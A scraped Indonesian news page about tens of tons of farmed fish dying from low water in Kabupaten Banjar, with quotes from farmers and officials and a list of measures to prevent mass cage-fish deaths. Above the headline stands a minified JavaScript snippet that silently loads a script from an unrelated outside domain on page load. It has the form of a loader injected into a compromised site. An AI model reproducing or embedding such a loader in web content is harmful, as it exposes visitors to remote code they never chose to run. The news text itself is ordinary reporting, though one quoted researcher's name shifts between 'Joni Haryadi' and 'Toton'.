(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Puluhan Ton Ikan Mati Kekurangan Air, Pemerintah Harus Lindungi Petambak


MARTAPURA, Minimnya debit air tak hanya membuat petani di Kabupaten Banjar mengalami gagal panen. Tapi para petambak pun juga mengalami kerugian sama. Puluhan ton ikan para petambak di Sungai Alang, Kabupaten Banjar mati akibat kekurangan air. Kerugian pun ditaksir mencapai ratusan juta rupiah.

Banyaknya ikan yang mati ini menyebkan petambak menjual diluar harga normal. Jika biasanya ikan dalam kondisi segar mampu dijual Rp 30 ribu/kg, ikan yang dalam kondisi mati turun harga penjualannya menjadi Rp 20 ribu/kg.

Walhasil, kerugian yang harus dialami pemilik tambak bisa mencapai puluhan juta. “Ya, bisa dihitung saja berapa kerugiannya jika kondisinya seperti ini. Paling tidak bisa puluhan juta,” ungkap Amran salah seorang petambak.

Untuk menghindari lebih banyak ikan yang mati, para petambak mengurangi kepadatan isi ikan dalam keramba dan menjual ikan yang sehat secepatnya kepada pembeli. “Ini untuk menghindari kerugian lebih banyak,” katanya.

Akhir Juli lalu, kejadian seperti ini juga dialami para pemilik keramba jala apung (KJA) di Awang Bangkal. Eli salah seorang pemilik keramba mengatakan, ribuan ikannya mati karena kondisi air yang mulai surut. Ia mengatakan, ikan nila yang biasa ia pasarkan seharga Rp 30 ribu/kg pun anjlok pasarannya. “Padahal satu keramba itu bisa mencapai 15 ribu ikan dan perkiraan ikan mati pun sekitar 15 ribuan,” terangnya. (Lihat Grafis: Mencegah dan Pengendalian Kematian Massal Ikan).

Terkait kondisi ini, Kepala Bidang Perikanan Budidaya Dinas Perikanan Kabupaten Banjar, Robby Azwar menghimbau petambak yang siap panen segera carikan pembelinya atau menjual ikannya. Sedangkan bagi yang mati mengapung dan di dasar keramba jaring apung untuk segera diangkat, kemudian benih atau ikan yang masih kecil diletakkan agak ke tengah.

“Kami imbau untuk menjual ikan yang sudah layak konsumsi supaya dapat menghindari kerugian lebih besar,” katanya.

Ia mengatakan kekurangan debit air dan kondisi panas cuaca bisa menyebabkan ikan-ikan tersebut mati. Berdasar hasil pemeriksaan kualitas air di Sungai Alang, kedalaman air 40 sampai 80 sentimeter.

Sementara Kepala Bidang SDA Dinas PUPR Kabupaten Banjar Rahmadi seperti dilansir Tribunnews.com mengatakan, pihaknya tidak ada kewenangan dalam pengelolaan air di Sungai Riam Kanan. Kewenangan ada di Balai Wilayah Sungai Kalimantan II, termasuk pengelolaan Irigasi Riam Kanan.

“Perlu duduk bersama antara pihak terkait mulai bagian hulu hingga tengah serta hilir Sungai Riam Kanan. Kami sarankan, perkumpulan usaha budidaya perikanan yang setiap tahun terancam kondisi seperti ini membuat surat ke pemerintah kabupaten maupun provinsi,” katanya.

Penangangan

Kepala Balai Riset Pemulihan Sumber Daya Ikan, Badan Riset dan Sumber Daya Manusia Kelautan dan Perikanan (BRSDMKP), Kementerian Kelautan dan Perikanan (KKP)Joni Haryadi mengakui, bahwa kasus kematian massal ikan KJA memang terjadi setiap tahun. Karena itu, BRSDMKP KKP bersama sejumlah lembaga riset dan perguruan tinggi rutin menyampaikan banyak data dan informasi penyebab kematian massal ikan KJA di danau atau waduk, termasuk upaya penanggulangannya, kepada pembudidaya dan para pengambil kebijakan, sebagai bagian upaya pencegahan dan pengendalian.

Meskipun pembudidaya menerima banyak data dan informasi penyebab kematian massal ikan KJA, tetapi komunikasi dua arah ini ternyata belum cukup. “Pembudidaya tidak begitu terpengaruh. Mereka tetap saja melakukan kegiatannya seperti biasa, malah berspekulasi dengan harapan mereka akan memperoleh untung yang lebih besar. Mereka berani melawan resiko,” ujar Toton.

“Pembudidaya sebenarnya secara otodidak sudah mengetahui peristiwa tahunan itu, bahkan mampu memprediksi berdasarkan pengalaman mereka, gejala atau fenomena alam yang terjadi seperti seperti umbalan (upwelling),” katanya.

Sebagai upaya dalam pencegahan dan pengendalian kematian massal ikan KJA, perlu dibuat kalender prediksi kematian massal ikan KJA. Kalender itu juga dipublikasikan, sasarannya ialah para pengambil kebijakan. “Kalender itu sebagai contoh upaya pencegahan dan pengendalian kematian massal ikan di Waduk Jatiluhur,” jelasnya.

Bersamaan dengan kalender itu, pihaknya menyebarluaskan skema alur penanganan kematian massal ikan KJA sebagai cara penanganan kematian massal ikan. Toton berharap, sebagai data dan informasi, kalender prediksi dan skema alur penanganan itu dapat membangun kesadaran pembudidaya dan para pengambil kebijakan untuk tidak menganggap sepele setiap kasus kematian massal ikan.(rendy)

MENCEGAH & MENGENDALIKAN KEMATIAN MASSAL IKAN
1)      Pembudidaya harus mengetahui bahwa biomassa ikan KJA tidak boleh melebihi daya dukung perairan danau atau waduk.

 

2)      Usaha budidaya ikan KJA hanya di perairan danau atau waduk yang memiliki tingkat trofik oligotrofik-mesotrofik. Jika di perairan yang subur (eutrofik atau hipertrofik), usaha budidaya ikan KJA justru menambah beban cemaran yang mengancam kelestarian ekologis danau atau waduk.

 

3)      Menetapkan tata ruang (zonasi) perairan danau atau waduk sesuai peruntukannya, agar kegiatan budidaya ikan KJA tidak mengganggu fungsi danau atau waduk. Misalnya, lokasi usaha budidaya ikan KJA ditetapkan di zona budidaya. Penataan ruang danau atau waduk juga bermanfaat untuk menghindari konflik kepentingan di antara pemanfaat perairan danau atau waduk.

 

4)      Mengendalikan blooming fitoplankton sebagai ekses usaha budidaya ikan KJA dengan menebarkan ikan pemakan plankton seperti bandeng, ringo, dan mola. Penebaran bandeng untuk meningkatkan pemanfaatan fitoplankton itu telah berhasil di Waduk Jatiluhur dan Waduk Sempor.

 

5)      Mengurangi dampak negatif pakan yang tidak termakan ikan budidaya dengan menerapkan budidaya ikan dalam KJA ganda, karena ikan yang dipelihara dalam jaring lapisan kedua (bagian luar) tidak diberi makan dan hanya mengandalkan makanan yang tidak termakan ikan utama yang dipelihara dalam jaring lapisan kesatu (bagian dalam).

 

6)      Menggunakan pakan ikan terapung yang kandungan Phospor (P) maksimal 1 persen saja, untuk mengurangi dampak penyuburan perairan danau atau waduk.

 

 

Reporter: Rendy
Editor: Chell

Desy Arfianty

Recent Posts

Proyek Jembatan Atanik Mataraman Molor, Cor Beton Belum Dikerjakan

Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More

7 menit ago

Arsip Tak Boleh Jadi Bungkus Kacang

Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More

11 menit ago

Tinggal Seorang Diri, Diana Didapati Tak Bernyawa di Kamar

KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More

2 jam ago

Kota Banjarbaru Terima Dump Truck Penghargaan Adipura 2023

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More

2 jam ago

Dispersip Kalsel-LPKA Martapura Kerja Sama Layanan Perpustakaan Keling dan Penyediaan Bahan Baca

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More

16 jam ago

Muhidin Gubernur Kalsel Definitif, 7 Februari 2025 Kembali Dilantik

KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More

19 jam ago

This website uses cookies.